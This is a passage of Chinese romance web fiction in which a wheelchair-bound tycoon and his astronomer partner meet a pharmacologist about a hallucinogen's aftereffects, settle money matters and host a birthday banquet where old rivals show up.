“我跟你一起去。”虽然听不出什么语气,但不难想象出这家伙的真实想法。 夏季其实并不怎么介意带他去赴王今安的约。 其实在夏季跟王今安平时的学习工作都很忙碌,在赵嘉良出事之前其实夏季跟王今安见面的次数还没跟她外公见面次数多。也就是出事了之后,王今安大概是良心发现了,觉得应该多关心关心这个异父异母的弟弟,怕他会在出了这么大的事情之后被人欺负。 虽然事实证明她有点想多了,但毕竟出发点是好的,夏季也是承她这份情的。更何况,有的事情他还是很需要王今安的义务劳动的。 看着男人固执的视线,夏季劝都懒得劝。 “夏季!”见他也不回答径自往外走去赵嘉良有点急了。 但身残志坚的他根本无法追赶心上人的步伐,只是焦急的挪动了步伐,却听那人凉凉的飘来一句,“想去的话就赶紧去换衣服,你是嫌在王姐跟前丢脸丢少了吗?” 其实夏季以前也想过是不是要换一个今安姐观感好些的对象。毕竟真论起来,也就只有王家人在夏季的心目中能够称得上家人之名了。有过喻馨那种亲妈,夏季其实对自己未来的家庭关系其实是挺谨慎的。可自从被牛顿大神敲过脑袋之后,某些坚持其实就逐渐松懈了。 尤其是他俩逐渐过上好日子之后,夏季有了赵嘉良这个狗腿子,王今安有了邹柔柔这个好姐们儿。然后夏季就明白,有的时候一段亲密关系的建立是过于私人的体悟选择,即使是亲人也很难理解。 于是半个小时之后,夏季推着坐轮椅上的赵嘉良出现在某网红烤肉店的时候还引起了一波小小的注意。 “先生需要帮忙吗?”宵夜时间点的烤肉店生意不太好,门口等待招揽客人的服务员扎堆。夏季虽然带着黑色口罩,但他那双漂亮的桃花眼即使被微长的刘海有所遮挡,却依然令人一眼印象深刻。 “是的,麻烦您了。”夏季是不想为难自己的。 这种位于闹市区的街边店铺,整条街门口都有三层台阶。虽然一旁有方便进出的无障碍通道,但即使车祸后瘦了二十来斤,但赵嘉良那实打实的大骨架子摆在那里,夏季把他从停车场推到半道就已经开始后悔为什么要让阿久待在车里等着了。 服务员热情的走过来准备接手夏季的轮椅,赵嘉良却先抬手道,“等一下,。” 只见他在服务员还距离两步的时候,撑着轮椅扶手,姿态还算正常优雅的duang的一下站起来了。 他那接近一米九的大高个儿直接把身材娇小的服务员吓了一大跳,然后面色便秘帮他把轮椅给推上了台阶。另外几个准备过来搭把手的服务员见状也是纷纷转头去忙别的事情了,他们嘴里嘀嘀咕咕的,八成是觉得这轮椅男有病,能走非要装逼坐个轮椅。不过别看赵嘉良起身的姿势还算潇洒,但上楼梯还是差点儿要了他的狗命。这就让刚刚才起了心思的服务员们立刻转变了想法,连忙在心里骂着自己“真该死啊”,重新走过来要帮忙。 赵嘉良婉拒了服务员要搀扶自己的好心,转而对一旁的夏季说,“夏二少,能帮我一把吗?” 戴着同款口罩的赵嘉良冲自己“懒惰”的恋人伸出手,然后对方便不怎么情愿的回握住了他的手,让男人将大部分的重量都倚靠在自己身上。 几位服务员亦步亦趋的跟在他们身后,直到目送他们顺利登上不高的台阶,这才帮忙扶着高个儿男人重新坐回轮椅看上。 一直到两人进了包间,两个年轻服务员才小声道,“他俩是情侣吧?是吧是吧?” “好漂亮的眼睛,戴着口罩都能看出是个大美人呢~等等,刚刚那个男人喊他夏二少?该不会是我想的那个夏二少吧?!” 对于会被餐厅服务员认出来这种事情夏季出门之前就已经做好了心理准备。但鉴于他之前的生活经验,他似乎无论穿什么衣服,作什么样的乔装打扮在公众场合都是一定会被熟人认出来。 为此夏季还曾苦恼的问过赵嘉良,当时那男人是这么回答的。 “宝贝儿你实在是太低估自己美貌的杀伤力了,要知道真正的大美人可不是光看脸的。毕竟我家宝贝儿站在人堆里,光是一个背影就能牢牢勾住我的视线,哪怕你套个麻袋只露个腿站在那儿,你都是人群中最靓的崽!” 当然,赵嘉良发表过这番见解之后迎接他的是夏季的一通老拳。 不过从某些方面这也倒是能够解答为什么喻馨和夏荣沉迷买通告写自己黑料的时候,那些甚至都没有正面的捕风捉影的照片却能让网友一眼确认照片上的就是自己本人。这搞得夏季心中十分不快,赵嘉良为了不影响他的工作学习,这才重拳出击又发展起了传媒方向的副业。在跟搞了几次喻馨的黑料之后,本就不怎么干净的喻馨心知真的跟赵嘉良对着干肯定是干不过的,便被迫安分了下来,让夏季安稳的过了好几年。 一进包间门,浓郁诱人的烤肉香味儿伴随着炭火的烟味儿扑面而来。 夏季有些不适的打了个喷嚏,下意识的揉了揉鼻子,便看到烟火缭绕的包间中央正坐着三个女人。很显然他们已经开吃了。 “赵总也来啦!您身体恢复的怎么样啦?”邹柔柔吃饭的时候还戴着一只白色棒球帽,热情洋溢的冲门口的两个男人招了招手,然后张罗着身旁的王今安给行动不便的某人腾出个放轮椅的位置,“来,快来这边坐。你们来的真是时候,刚烤好呢,上桌可以直接吃了。” 夏季推着赵嘉良往餐桌边去,然后居高临下的扫了一眼黢黑的烤盘和三个女人餐盘里的骨头,倒是没有戳穿她的谎言,“没事,我们刚吃完晚饭没多久,你们吃吧不用管我们。” 人跟人的关系若是太熟,很多毛病就会暴露出来。 夏季跟王今安大概就是这么一种关系,连带着他们的“家眷”也都习惯了。 赵嘉良僵硬的冲邹柔柔挤出一个抽象的笑容,算是打过招呼了。倒是埋头kuku干饭的王今安这才抽空抬起头指了指对面的那位陌生小姐姐,意简言赅的介绍道,“柔柔的老同学朱敏,AKB大学的药理学博士。放假回国探亲,柔柔特地帮你薅过来义务劳动的。” 她话音刚落,对面的小姐姐立刻发出了惊天动地的咳嗽,“妈耶,你俩请我吃饭之前可不是这么说的!” 夏季笑笑,摘下口罩径自找了个位置坐下,“朱小姐您好,是我委托柔柔姐帮忙找专业人士处理致幻药物后遗症的。我叫夏季,请您多多指教。” 当事人还没来得及张口说什么,一旁的赵嘉良反而先发出了一阵惊天动地的咳嗽。朱敏小姐姐无奈的放下手中的筷子,“事情刚刚柔柔已经跟我说了,这个忙我可以帮。至于报酬什么,等我吃完再说吧。” 王今安和夏季都没有海外留学的经验,王今安是不需要,夏季是专业特殊,国外不收。当然,以如今华国的科技实力,他们也没必要去国外学习。但他们身边倒是有不少海归。且不论这海归的学术能力如何,他们的食量却都能给夏季留下非常深刻的印象。 尤其是两人坐下来后的半个小时。 赵嘉良身体不便就不说了,夏季让服务员换了个干净的烤盘就kuku在那儿烤了半个小时了硬是自己一口都没吃上。 “宝贝你不吃点吗?”实在有点看不过眼的赵嘉良小声说。 夏季漫不经心的一边给朱敏投喂食物一边说,“没事,人好不容易流放回来,先紧着她吃饱再说。” 这个原本是为正事做的局,夏季进门之后就光搁那儿烤肉了。赵嘉良恨只恨自己的身体不得劲儿,放以前这种烟熏火燎的事情他怎么可能会放任夏季来干? “王今安发消息让你过来到底是干嘛?她不是说带了两个人间尤物让你务必准时到吗?”赵嘉良忍不住压低声音,用只有他俩能听到的声音发出了自己辛苦出行的缘由,“尤物呢?” 夏季有些好笑的挑了挑下巴,“这两位小姐不就是吗。” 赵嘉良不明所以的看了看跟王今安聊八卦的邹柔柔,又看了看埋头苦吃不知天地为何物的朱敏,“这就尤物了?” 摸着良心说,邹柔柔长得不难看,但也仅仅只是不难看而已。朱敏甚至又矮又胖,夸她长得可爱都是客气了。更何况这俩人出来吃饭甚至都没化妆,一人戴着个棒球帽看着有点掩耳盗铃的感觉。 “一个冷知识,女人出门不化妆戴帽子,说明她没洗头。”夏季似笑非笑的瞥了赵嘉良一眼,“这可不就是两个人间油物吗?” 第58章 “尤物”和“油物”虽然中文发音相同, 但对英俊多金的赵总来说确实两个完全不同意义的东西。 要是早知道夏季是来准点觐见这两个人间油物的虽然以赵嘉良的性子,即使知道夏季今晚是来见油物的他八成也是会坚持要求一起过来的。但这就会使得他出门之前憋着一股气的,捯饬了自己半个钟的行为显得非常呆了。 赵嘉良深吸一口气, 半晌才好不容易憋出一句, “牛逼”。 一直到后面又又加了两次菜,朱敏终于吃的差不多了。 夏季笑眯眯的给她倒了一杯酸梅汤解腻,这才开始了正片阶段。 赵嘉良一边扒拉着夏季给女士们烤剩下的边角料, 一边仔细的听着两人的沟通。虽然其中不乏有些他听不懂的药理学相关专业词汇,但自从完全清醒后,由阿久详细汇报过这一个月所发生的全部事件细节后赵嘉良大概能够猜到自己这位看做事似漫不经心,实际报复心极重的恋人出于什么目的, 一本正经的跟这位药理学博士沟通情况的。 “是ARD实验室出品的致幻药物吗?”朱敏听邹柔柔说了药物相关情况之后还挺惊讶的,“搞科研的最怕缺钱, 为了赚点儿经费实验室偶尔接点定制活儿也正常。” 虽然这种药物的研制初衷本就不是奔着正经目的去的,但只要甲方钱给的够多, 活儿又不违法, 那实验室睁一只眼闭一只眼的干私活也很正常。这种情况不仅是国外实验室有, 甚至国内一些不知名的科研机构早年也有过这种情况。 只是ARD实验室的这个药是鼓捣出来了,但致死率过高,等于跟废品无疑。而甲方不满意, 这个挂靠在某药企名下的小实验室没多久就因为资金断裂,四年前就解散, 关门大吉了。这也是为什么邹柔柔要找朱敏帮忙的原因, 这种残次品的致幻药实在冷门到爆。别说国内了,就是原产国对它的记录数据都说少的可怜。 而吃了这玩意儿还偏偏不死的赵天生也不知是运气太好还是太差。 但从权威的精神鉴定结果来看,赵天生这个精神异常跟他之前逃避惩罚的服药有关系。而赵炳锐表示,说当初给他们提供致幻药的人说过这个药的副作用很大, 在用药后的三个月内要定时服用“解毒剂”。而赵炳锐没有落网的时候,但每周都有固定的药品会被包装成美团送药的包装送到他家。因此那头两个月的赵天生虽然通过了精神鉴定被关在精神病院,但因为能够定时用药他很快就清醒了过来。而自从赵炳锐被捕,那些幕后之人很快就知道了此时。在没了解毒剂之后赵天生的精神状态恶化的很快,等老胡去精神病院提审他的时候赵天生已经变得比他亲爹还疯了,根本无法正常交流。 关于幕后黑手的事情夏季一个“文弱学术分子”是拿他们没办法。毕竟专业的事情应该交由专业的人去做。 但赵天生当初是赵嘉良撒娇卖萌自己才听信了他的鬼话放了他一马的,而这一时的心软让赵嘉良直接被创成植物人。如今夏季每天看着自己曾经龙精虎猛的对象现在每天半死不活的残废样儿就忍不住怒火中烧,曾经被迫为了保密项目“忍一时风平浪静”的他早就忍无可忍了。 但对这些内幕一无所知的朱敏小姐姐想的还挺简单,“我这次回国就呆半个月,到时候柔柔你把患者的数据发给我,如果有解毒剂的样本就更好了。等我回学校了帮你们打听一下,正好我有个学长之前在ARD实习过,说不定能找到你们所说的那款致幻剂的详细数据。” 夏季点了点头,先是向她礼貌的道了谢,然后掏出手机跟朱敏互换了联系方式。 “之后我会把你的联系方式推送给负责这个事情的相关人员,到时候麻烦朱小姐跟他直接联系。” “好的。”朱敏小姐姐对这位长得超级好看,烤肉也特别好吃的帅哥印象非常好。 只是当王今安和邹柔柔听到夏季跟朱敏说,他准备把她的联系方式推给一个姓胡的老头时,两人不约而同的默不作声低下了头 由于赵嘉良腿脚不便,这顿饭是夏季屈尊亲自去结的账。 扫码付款的时候,刚刚帮他们退了推了轮椅的服务员小姐鼓起勇气问,“请问,您是夏先生吗?” “是的。”夏季平淡的点了点头,还算友好的冲她微微一笑。 虽然笑的很敷衍,但长得好看的人即使是敷衍都能给人会心一击的震撼。 只见那个服务员小姐磕磕巴巴,语气激动的说,“果果然是您啊~之前看直播的时候我就特别特别喜欢您!” “对了,跟您一起过来的是赵总吗?他恢复的这么好?已经可以下地啦?!” 夏季不置可否的点了点头,扫码结束后又补了一句,“开个发票,发票抬头我写给您。” “额”服务员小姐姐卡了一下,还是按照惯例低声补了一句,“不要发票的话可以送瓶饮料。” 夏季一挑眉,“我需要发票报销。” 发票抬头是个看起来就很高大上的部门名称,这让服务员小姐再没敢吱声了。 一行人离开的时候夏季婉拒了店员要帮忙的好意。邹柔柔和朱敏一前一后拎着轮椅下了台阶,而王今安则和夏季一左一右的几乎是把赵嘉良架着下来的。 “感谢您的请客,有消息了我会直接跟您说的那个老胡联系的。”尚不知道自己未来会面对什么的朱敏小姐姐热情的同她们挥手道别。 王今安似笑非笑的瞥了赵嘉良一眼,“恢复的还挺快,都能下地走了。” 赵嘉良能走,只是走不快。神经末梢的僵硬和反应迟钝让他虽然四肢健全,但极不协调。 面对这块自己跟夏季恋爱路上的最大绊脚石,赵嘉良实在对她憋不出好颜色,“我能有今天也是托您的福,等我康复了一定好好您的大恩大德。” “报答我就不必了。”王今安摆了摆手,“记得给我导师结清好处费就行。” 赵嘉良一噎,一屁股坐轮椅上不作声了。 夏季轻笑两声,“姐,我们先回去了,好处费我会让财务给转过去的。” 深秋的夜里,被夜风吹拂着其实是有点凉的。被夏季推着走的赵嘉良心里却热乎乎的,甚至有点脑门儿冒汗,有点儿坐都坐不住的感觉。 眼看着快到停车场了,他终于忍不住瓮声瓮气的开口,“宝贝你跟王今安她导师许诺了多少好处费啊?” 其实之前听阿久说过自己治疗过程之后,赵嘉良心里也清楚,就自己当时的危急情况,不管是安保费用还是进王今安导师的实验室病房,都是一笔巨大的开销。尤其是李教授那种顶级领域尖端大佬,能让他做主治医生光靠钱都是不顶用的。赵嘉良心知这次的事情还欠了王今安一个人情,但人情以后可以慢慢还,但账单却不行…… “我知道你手头没钱了,你植物人的时候赵炳锐发动赵家穷亲戚们逼宫,要求提前分家产的时候他们就向银行申请清点过你的个人账户。”说着夏季若有所思道,“阿良,我是不是对你太苛刻了?” “没有啊,你怎么会这么想?”赵嘉良心头咯噔一下,试图仰起头好好安抚一下自己语气略不自信的恋人。可他那不甚灵活的脖子并不足以支撑他做出这样高难度的动作。 站在他身后的夏季幽幽的开口道,“你的朋友们都说你是京圈最穷霸总,你自己难道一点儿感想都没有吗?” 有那种权威机构每年都会给华国的知名企业家做财富排名。自从赵嘉良拿下赵家掌控权,又整合了赵家和余家产业后,他就每年都能登上这个华国富豪排行榜。虽然距离首富可能还有一定的距离,但他的财富对于普通人来说也绝对是个天文数字。 而相较于他的财富收入,他的可支配银行卡余额却一年比一年磕碜。夏季其实最近也有深刻反省,自己是不是花的太多了。若是跟旁人说赵嘉良常年五百万都掏不出来,这任谁都很难相信吧。 “我们在一起五年,你给我花了好多钱可是我似乎除了给你带来无穷尽的麻烦之外,好像也给不了你太多东西。”夏季忽然停下脚步,语气自嘲道,“如今我还年轻,还算是人比花娇吧。可再过五年,过十年,当我容颜不在的时候,你还会觉得值得吗?” 听他这么说,赵嘉良急的满头大汗的想要回头。他两腿用力等着地面,双手紧紧攥着轮椅负手,从夏季的角度看过去他好像个刚刚觉醒的丧尸似的身体不协调的哆嗦着想要回头。 夏季一手摁在男人的肩头,制止了他为难自己,想要回头的动作,接着说着,“前几天我算了一下账。抛开夏园和园子里的那些你淘回来的奇珍异宝,光是每年我过生日,你送的礼物和那惊天动地派头就就已经花费不小了。正好今年你也没钱了,今年的生日咱们就不要大操大办了,就我们两个,单独过好吗?” “好,都听你的。”赵嘉良心如刀割,沙哑着嗓子应声道,“可是宝贝,是我做错了什么让你没有安全感了吗?” “嗯可能是因为前段时间赵炳锐上门要求分割你财产的时候,查到你的银行卡余额只有五百万的时候吧。”夏季想了想说,“我算了一下这些年光是每年过生日你送我的礼物价格加起来都不止百亿了。” 价值百亿的生日礼物,即使是放在挥金如土的京市富豪圈里都是能震惊全场的程度。但对于赵嘉良来说,这只能算基操。 赵嘉良之所以能成为“京圈最穷霸总”除了他溺爱金丝雀,予取予求之外,他家金丝雀其实是头吞金兽也是重要原因之一。最主要的原因还是夏季是个搞科研的,本来搞科研这玩意儿就挺烧钱,更可怕的是夏季还偏偏还是个搞天文的~ 他俩交往的第二年,夏季还没从保密项目里出来的时候因为项目需要,夏季整天都在数据的海洋中溺水。那时候整个项目上下做梦都想拥有一个更好更先进的天文台。而这种观测型的天文台不仅造假不菲,技术更是不简单。赵嘉良不懂天文,只是每次好不容易放假就听夏季碎碎念着这个事情,他便向王院士打听了细节,表示出愿意为夏季建个天文台的意愿。 王院士那边也是不客气的,一开始给出的报价是90个小目标,但后期因为天文塔的选址等等原因,最后落地造价130~ 虽然赵总大出血,但喜大普奔的科学家们就差把赵嘉良的照片挂在项目组的大厅里,日日给他烧高香了。 这些年来,赵嘉良送夏季的生日礼物没有珠宝首饰也没有豪宅跑车,送的全都是真金白银却外行人并不能看懂的专业性设备。也正是因为这些设备都是他送给夏季个人的,这也便使得夏季在科学院的地位极高,甚至隐隐有要超过他恩师王院士的重要原因之一。 “我跟今安姐的导师说好了,只要他能把你从植物人状态中唤醒,你以后就会像投资科学院一样投资他的实验室。”夏季幽幽道。 听了他的话,赵嘉良陷入了长久的沉默。 “宝贝,从明天开始我一定会更加努力的赚钱,一定不会让你的生活水平有分毫降低的。” 身为凭一己之力养活了半个科学院的男人,赵嘉良这种只默默为恋人付出,不求回报的大冤种(不是),大财神,可是最受众人喜爱的好金主。李教授对赵嘉良也算是有救命之恩的人了,夏季既然代替他做出了这种承诺,赵嘉良也不好不认。 只是现在他最大的问题是:手头没钱。 赵嘉良自从找到对象之后,就跟那个筑了巢有了伴儿的雄兽一样,除了给对象投资,试图把对象娇养的更好之外就是给对象塞钱。除开他每年给科学院的捐款之外,赵嘉良最爱干的事情就是有事儿没事儿的给夏季打钱。 而夏季本身又是个物欲不高的人,因此他是很能存钱的。但看银行卡余额的话,夏季可比赵嘉良有钱的多。 听着男人有些懊恼的话语,夏季理忍不住轻笑出声,“不必,你好好养伤。在你康复之前,我养你啊。” 第59章 如果是在赵嘉良残废之前, 夏季这么语气温柔的跟他说“我养你啊”,他或许会心情极好的抱着自己的宝贝恋人亲亲抱抱举高高,再好好的“奖励”他一番。可如今坐在轮椅上, 连回头好好看看他, 柔声安抚明显心态有所变化的恋人都做不到的赵嘉良却只能哑着嗓子说“好”。 他不是对夏季的承诺不感动,只是处境不同,心境不同罢了。没有哪个久居高位的男人愿意在爱人面前尽显狼狈。饶是赵嘉良这种平日在夏季面前总是插科打诨, 仿佛没心没肺的家伙也不能免俗。 不过好在他如今虽然身体不便,但好歹还有些资本。 “宝贝,我要不我把赵氏的股份都转给你吧。”虽然没有储蓄了,但赵嘉良手中最值钱的东西无疑就是赵氏的股份。 夏季一挑眉, 爽快的说,“好啊。那我明天让律师过来拟股份转让协议。” 赵嘉良松了一口气, “嗯,好!” 于是短短十分钟, 夏季只用了几句话就成功让赵嘉良从“京圈最穷霸总”变成了真正的穷光蛋。 回去的路上, 赵嘉良这才后知后觉的意识到好像有哪里不对劲明明最开始不是夏季觉得花了自己太多钱而感觉愧疚, 觉得对自己太苛刻吗? 但既然已经开了这个口,赵嘉良也不是个食言而肥的人。只是当旁人得知赵嘉良要把自己手中剩余的所有赵氏股份以一块钱的价格转卖给夏季之后,包括徐律师和阿久在内的, 他的所有心腹都震惊了。 “赵总,您真的决定要把所有股份都给夏先生吗?”作为从业多年的律师, 徐律师在进入赵氏法务团队工作之前, 实习的时候干过一段时间婚姻律师。也正是见了夫妻之间的算计和爱恨纠葛,她才心烦的改行做了经济律师。 说实话,即使夏季的身份背景摆在那里,可赵嘉良如今的行为和处境还是难免让她觉得对方是不是遇到杀猪盘了~ 而粗人阿久说话则更直接些, “赵总我们都知道您跟夏二少感情好。可是经济实力是您一开始能叩动夏少心扉的敲门砖诶,您把股份转给他能让夏少一时开心,但后面怎么办?以后您准备怎么让夏少开心?靠您银行卡里的五百万吗?” 说句不好听的,就赵嘉良现在手里那几个子儿,就连支付阿久的工资都费劲儿~ 虽然阿久对赵嘉良忠心耿耿,但这个社会,任何下属的忠心都跟丰厚的收入和稳定的打款密不可分。赵嘉良知道自己又不是人民币,如果没钱,他是不可能维系如今这种地位的。 但他这人天生就不是个默守陈规的。 “呵。以前我妈就经常说她是生了个性转版的自己,或许我跟我妈就是一个性子的人吧。” 此时的赵嘉良已经忘了自己以前是怎么嘲笑他亲妈的恋爱脑做派了,可有的事情真的轮到他自己头上后,他的做法相比余霜女士甚至有过之而无不及。 男人的眸色晦暗不明,“我不是怕输的人,也不是赌不起。” “我相信夏季。” 十月的最后一个周三,是夏季的生日。 相比于往年的声势浩大,今年因为赵嘉良的意外车祸,夏季今年的生日宴比往年要低调许多。但这种低调也是相对的,该有的宴会和排场还是一应俱全。甚至今年的这次生日宴还出现了一个十分有趣的现象,那就是到场的人比受邀的人还多。 “赵总,夏先生,这是各家发来的拜帖,您看……” 自从赵嘉良醒了之后夏季就从医科大旁边的酒店搬回夏园居住了,正好赵嘉良身体各项技能恢复的不错,除了依然需要每天跟上班一样定时定点的去做复健之外,已经能够自己下地走两步,生活自理基本没问题了。 本来他这个情况赵氏公司高层是建议他尽可能抽时间去赵氏看看的。毕竟自从赵嘉良醒来后住院的这段时间,夏季在赵氏都快杀疯了。原本的高管人员自从他拿到代理权后直接被砍了三分之一还有多的。再加上受不了“连坐”惩罚的提心吊胆,还有些有门路的也自己跳槽跑路了。原本因为老板出事而人心惶惶的公司高层们原本都在祈祷夏季说的是真的,他们英明神武的赵总能赶紧醒来。可当赵嘉良后面真的醒了,他们期盼的重归好日子却没有到来,反而每天都过的越发辛苦了。 赵氏的情况不是没有人私下联系赵嘉良跟他告状,但赵嘉良的态度却是:“凡是夏季做出的决策,我都坚决维护。凡是夏季的指示,你们都要始终不渝地遵循”。 他这令人两眼一黑的回复让公司很多人都傻了眼。可面对“妖妃”夏季的暴政他们一时也敢怒不敢言。 而往年夏季生日这天,赵嘉良都会包场京市梵净山山顶的并且为他家“金丝雀”搞一个普天同庆的烟花秀。 今年因为一些原因烟花秀没了,梵净山的包场也没了。只是在夏园的宴会厅里普普通通的搞了一次普普通通的晚宴而已。 夏季接过管家递来的拜帖,挺厚一沓的。 除了他意料之中的那几家之外,还有挺多他意料之外的人。 “阿良,我过生日不请你们公司高层是不是不太好?”夏季翻看着,随口问了一句。 赵嘉良想了想说,“是不太好,回头我再单独通知他们吧。毕竟如今赵氏的老板是你了,我们都是你手下的打工仔呀。” “呵呵。”夏季不知是想到什么,忽然就笑了,“咱们家的宴会厅有多大?两百来人能转的开吧?” 见夏季对宴会细节没什么概念,一旁的管家赶紧说,“空中宴会厅有1600㎡呢,当然足够。” 不仅够,还绰绰有余。 于是在夏季的二十七岁生日这天,向来神秘高冷的夏园第一次向京圈权贵们敞开了大门。 只是赵嘉良坐着轮椅跟看门狗似的,用一脸阴狠的表情迎客时的画面还是被无良媒体po到了网上,当时就有人发出质疑:这个赵嘉良虽然有钱,但他在首富和科学院大佬面前都摆出这副二五八万的表情到底是给谁看呐? 也有人说是不是赵嘉良得了个“爱国商人”的头衔飘了,当着这么多大佬的面连半点笑容都不肯给的。 不过后面很快就有知情人士出来澄清了:人家赵总之前可是植物人脑死亡!你们该不会以为脑死亡跟感冒一样那么容易康复痊愈吧!人家只是醒了不是好了,听医院的朋友说赵总现在有很严重的末端神经障碍,面瘫也是常见后遗症! 至此,再无人敢置喙赵嘉良的表情,反而有些年轻姑娘不禁感叹:多好一个浓眉大眼的帅哥,怎么就瘫了呢? 而更多人想到,却没好意思说出口的却是:他都瘫了,那夏季怎么办? 夏季的这次生日宴只邀请了一些比较亲近的亲朋好友。他的本意虽不想大操大办,但架不住有些人非要借着过生日的名头过来掺和一脚。 这样的人多了,夏季索性也就来者不拒了,寻思着要不就一次性全解决了。 可真到了生日当天,赵嘉良得知不仅林沐阳周镇川这类一早就对自家对象垂涎多年的混账东西之外,还有夏家以夏燃为首的一帮人后,他是真高兴不起来。不过也幸好他面瘫了,即使摆着一张臭脸往大门口一坐,不仅没人会说他什么,反而一个个还得赞美他臭脸迎客干得好。 “赵总怎么还跟个镇宅神兽似的亲自在大门口候着啊,这是在等人?”相比于圈里那些精明体面的是同行,穿着粉色礼服,画着精致妆容,笑的跟只老狐狸似的精神科医生邹柔柔若排在赵嘉良最不想应付的人第二名,那王今安这位祖宗就能排到第一。 今天的王今安不是一个人来的,一同过来的还有她的外公外婆。而她的亲闺蜜照理说是收不到夏季的生日邀请的,但姐姐闺蜜的身份让邹柔柔拥有这份特权。别说赵嘉良了,就是夏季那么都不敢在姐姐的亲闺蜜面前造次。 “两位姐姐收了神通吧。”如果不是面瘫影响了发挥,赵嘉良是真想翻个白眼。 邹柔柔笑的花枝乱颤,狠狠的夸奖了一波赵嘉良今天的造型,就连王今安都破天荒的说他今天捯饬的帅气确实有点儿配得上她弟弟的样子了。 “赵总你是我见过的最帅的面瘫,真的!” 赵嘉良面无表情的叹了口气,“那我可真谢谢两位姐姐的夸奖了。你们赶紧进去玩吧,我在门口蹲人呢,你俩就别影响我发挥了。” 邹柔柔本还有些好奇他在等谁,却被心里门儿清的王今安拽走了。 两位女士上了二楼,便被管家请到露台花园。这个巴比伦空中花园风格的庄园从外面看就足以震撼,人在其中时却更觉奢靡。在高耸的室内人工瀑布边的花园里,夏季正躺在精致的小花园里贵妃椅上躲懒。 “寿星怎么不去招待客人?”从小在农村长大,跟野草相伴的王今安其实对花花草草并无好感,但夏季倒是很喜欢这种绿油油的东西,说是养眼。 “心里烦。”慵懒的侧卧在椅子上的夏季听见动静,有点不情愿的翻身坐了起来,“一想到自己好好一个生日还得跟一帮烦人的家伙应酬,我就烦得要死。” 第60章 夏季是真的很烦应酬这种事。 以前在山沟沟里求学的时候没有这种烦恼, 回京后在夏家被打压自然也没什么见人的机会,甚至跟赵嘉良在一起之后有人撑腰了也不需要违心的去应酬什么。 “能者多劳。”邹柔柔不客气的坐到一旁茶几边的摇椅上,随手抓了一只又红又大的草莓, “真不愧是外面人人艳羡的夏园, 果子都比市面上卖的好吃。” 说着她又靠在摇椅上晃了两下,舒服的不得了。 心动的询问了这摇椅的价格之后,又很快死心的闭嘴了。 夏季有些好笑的转过头, 从他这个角度正好能看到在大门“守株待兔”的某个轮椅男。 他望着那人严阵以待的姿态,随口问道,“柔柔姐,你那个老同学现在查的怎么样啊?” 邹柔柔没好气的翻了个白眼, “只怕这次找她帮过忙之后我们也要友尽了……” 邹柔柔这种医药世家出身的,可能并没有多大富大贵, 但是在这个行业内多少有些人脉。不然也找不到朱敏这种年轻好忽悠的外国名牌大学高材生来帮忙~ 只是老胡在做过背调,笑纳了这个帮手之后朱敏才后知后觉自己好像被半“征用”了, 虽然明面上没说什么。但好好一个回国休假变成打白工, 多少还是让人心里不爽。 不过夏季表示, 这次事情完了之后不仅会送邹柔柔一个同款摇摇椅,还会承包朱敏小姐姐未来几年在国外求学的伙食后,邹柔柔又高兴起来了, “那我替我老同学先谢谢你啦!” 几人闲聊的时候,赵嘉良也终于等到了他一直在等的人。 周镇川和林沐阳是前后两步抵达的。相较于林沐阳的孑然一身, 周镇川大包小包的, 还带了两个助理的架势就有些显眼了。 “赵总。”周镇川是没想到赵嘉良竟然会在大门口守着,不过既然大家都从大门入,那就免不了要跟礼数周全的主人家打个招呼了。 早前周家跟赵氏在业务有一点重合,赵嘉良最如日中天的那几年, 周镇川还在为了夺权忍痛割爱。等他跟夏荣结了婚,获得了夏季的资金支持之后本想重振家业却没想赵嘉良跟开了挂似的不知怎么就得了王院士青眼,拿到了好几个王院士的个人专利使用权。虽然只有三年的优先使用权,但三年对于资本市场来说却致命的。自从周镇川上台后,为了保住周家的一亩三分地,他成为周家话事人干的第一件大事就是避其锋芒搞产业结构优化。 这些年多少同行被赵氏按在地上摩擦,后面就有多少人在赵嘉良出事后蹦跶出来想要夺回自己的一切。 作为首当其冲的周镇川除了业务上的梁子,还有夏季的事情横在中间,他自然就成了这帮人中的出头鸟。只是周镇川也没想到,赵嘉良都脑死亡了居然还不死?他居然这都能醒?! 不过这一路上原本惴惴不安的周镇川在看到曾经那个高大耀眼的男人蜷缩在轮椅上时,原本忐忑的心忽然又隐秘的生出了一丝难以言说的快慰。 对于京圈的这帮人来说,其实真的很难讲他们在看到曾经不可一世的赵总如今这幅模样时,真的很难不痛快。 “赵总身体还没好吧,这么冷的天在门口坐着着凉了多不好啊。”周镇川心里憋着一口气,但面上还得跟赵嘉良体面的客套着。 赵嘉良轻哼一声,顶着一张面瘫脸语气倒是轻快,“没关系的,我要是冻出个好歹反正我家夏季也会尽心照顾我的。倒是我躺了这么些天,却听说周总在闹离婚?” 周镇川面色讪讪,“是,已经在走流程了。” “哦。”赵嘉良瓮声瓮气的说,“听说周总离婚是为了跟我家夏季再续前缘?” 大门口人来人往的,周镇川显然也是没想到赵嘉良竟是当着这么多人的面,直白的把这话摆到台面上来说。 他怔愣的时间,赵嘉良又说,“天下何处无芳草,我劝周总还是歇了这个心思吧。我家夏季是绝不会吃回头草的性子,更何况他已经答应我的求婚了。” 周镇川心头一紧,用力抿了抿唇。 看着坐在轮椅上略显狼狈的男人,再联想自己如今的处境,他竟是轻笑了两声。 “赵总说的是。” 而比周镇川晚一步抵达的林沐阳则是满脸堆笑,笑的十分谄媚,“良哥,您身体恢复的怎么样啊?瞧我,这阵子家里事多,本来想去医院探望来着,这不是一直不得空嘛。” 林沐阳其实在收到消息的第一时间就想去探望了,但赵嘉良因为这小子趁自己病,挖自己墙角的事情耿耿于怀,根本不惜的见他。林沐阳去了好几次医院都被拦在门外之后也大概猜到缘由了。 他一边在心中埋怨夏季说话不算话,可面上对赵嘉良还是只能小心赔笑。 是的,他赵嘉良现在就算瘫了,残了,可像林沐阳周镇川之流面对他的时候也还是得小心赔笑,生怕被记恨上打击报复。 赵嘉良冷哼一声,“是诚心想来探望我还是想看看我对象啊?” 只是经过这事儿,林沐阳这个朋友直接从好友列表中被×掉了。 林沐阳满头大汗的赶紧解释,说自己只是嘴欠,听信了外面的谗言以为他真要死了。自己脑子一热才想出这么个“报效兄弟”的昏招来,但总归夏季是拒绝之后自己真的没有再干什么,只是兢兢业业的给夏季打白工而已。 赵嘉良堵在门口教训两个趁他病着觊觎他对象的家伙,让每个进出夏园的人都面色讪讪。 在二楼花园里往外瞧的王今安终归脸皮薄,“赵狗可是真狗啊,夏季你真一点儿不觉得丢脸吗?” 夏季懒洋洋的把手边的实验笔记往脸上一盖,声音闷闷的,“我的脸在他还植物人的时候丢的还少吗?这家伙平时什么德行你又不是不知道” 